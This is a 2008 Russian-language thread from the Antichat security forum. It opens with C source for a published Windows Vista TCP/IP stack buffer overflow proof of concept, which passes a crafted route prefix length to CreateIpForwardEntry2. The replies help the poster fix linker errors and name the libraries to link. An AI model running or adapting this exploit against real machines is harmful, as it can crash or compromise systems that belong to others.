ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Windows
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

MS Windows VISTA TCP/IP Stack Buffer Overflow PoC
  #1  
Старый 27.11.2008, 16:24
Аватар для denjf
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме:
592199

Репутация: 21
По умолчанию MS Windows VISTA TCP/IP Stack Buffer Overflow PoC

#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2ipdef.h>
#include <iphlpapi.h>

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
DWORD dwStatus;
MIB_IPFORWARD_ROW2 route;

if (argc != 3)
{
printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
return -1;
}

InitializeIpForwardEntry(&route);

route.InterfaceIndex = atoi(argv[1]);
route.DestinationPrefix.Prefix.si_family = AF_INET;

route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_add r = inet_addr("1.2.3.0");
route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;

route.DestinationPrefix.PrefixLength = atoi(argv[2]);

route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");
route.NextHop.Ipv4.sin_family = AF_INET;

route.SitePrefixLength = 0;

route.Protocol = MIB_IPPROTO_NETMGMT;
route.Origin = NlroManual;
route.ValidLifetime = 0xffffffff;
route.PreferredLifetime = 0xffffffff;
route.Metric = 1;

dwStatus = CreateIpForwardEntry2(&route);
return dwStatus;
}




Помогите скомпилировать!!!!
 
Ответить с цитированием

  #2  
Старый 27.11.2008, 17:02
Аватар для VAran
VAran
Познающий
Регистрация: 29.05.2008
Сообщений: 53
Провел на форуме:
66389

Репутация: 67
По умолчанию

Цитата:
Помогите скомпилировать!!!!
дык, а на что ругается то?

вот здесь:
Цитата:
route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_add r = inet_addr("1.2.3.0");
и вот здесь:
Цитата:
route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");
реальные ip вставлять пробовал?
 
Ответить с цитированием

  #3  
Старый 28.11.2008, 08:11
Аватар для denjf
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме:
592199

Репутация: 21
По умолчанию

111.obj : error LNK2019: unresolved external symbol _CreateIpForwardEntry2@4 referenced in function _main
111.obj : error LNK2019: unresolved external symbol __imp__inet_addr@4 referenced in function _main
111.obj : error LNK2019: unresolved external symbol _InitializeIpForwardEntry@4 referenced in function _main

В Visual C++ вот эти ошибки!
ip вставлял - результат такой же
 
Ответить с цитированием

  #4  
Старый 28.11.2008, 21:42
Аватар для VAran
VAran
Познающий
Регистрация: 29.05.2008
Сообщений: 53
Провел на форуме:
66389

Репутация: 67
По умолчанию

хэдеры ты вставил, а библиотеку с этими функциями к проекту подключил?
 
Ответить с цитированием

  #5  
Старый 30.11.2008, 08:01
Аватар для denjf
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме:
592199

Репутация: 21
По умолчанию

[/QUOTE] а библиотеку с этими функциями к проекту подключил? [QUOTE]
Я в C++ не селен. В основном на Delphi все пишу!
Подскажи название библиотеки?
 
Ответить с цитированием

  #6  
Старый 01.12.2008, 19:01
Аватар для VAran
VAran
Познающий
Регистрация: 29.05.2008
Сообщений: 53
Провел на форуме:
66389

Репутация: 67
По умолчанию

св-ва проекта -> Configuration Properties -> Linker -> Input -> Additional Dependencies
вписывай Iphlpapi.lib Ws2_32.lib
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Определиние Ip Dimann Болталка 18 09.06.2008 01:06
В Windows Vista появится двунаправленный брандмауэр dinar_007 Мировые новости 0 27.01.2006 22:55
Первые заплатки для Windows Vista dinar_007 Мировые новости 0 17.01.2006 13:46
Windows Vista: новый канал утечки секретных данных dinar_007 Мировые новости 0 26.12.2005 13:47



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ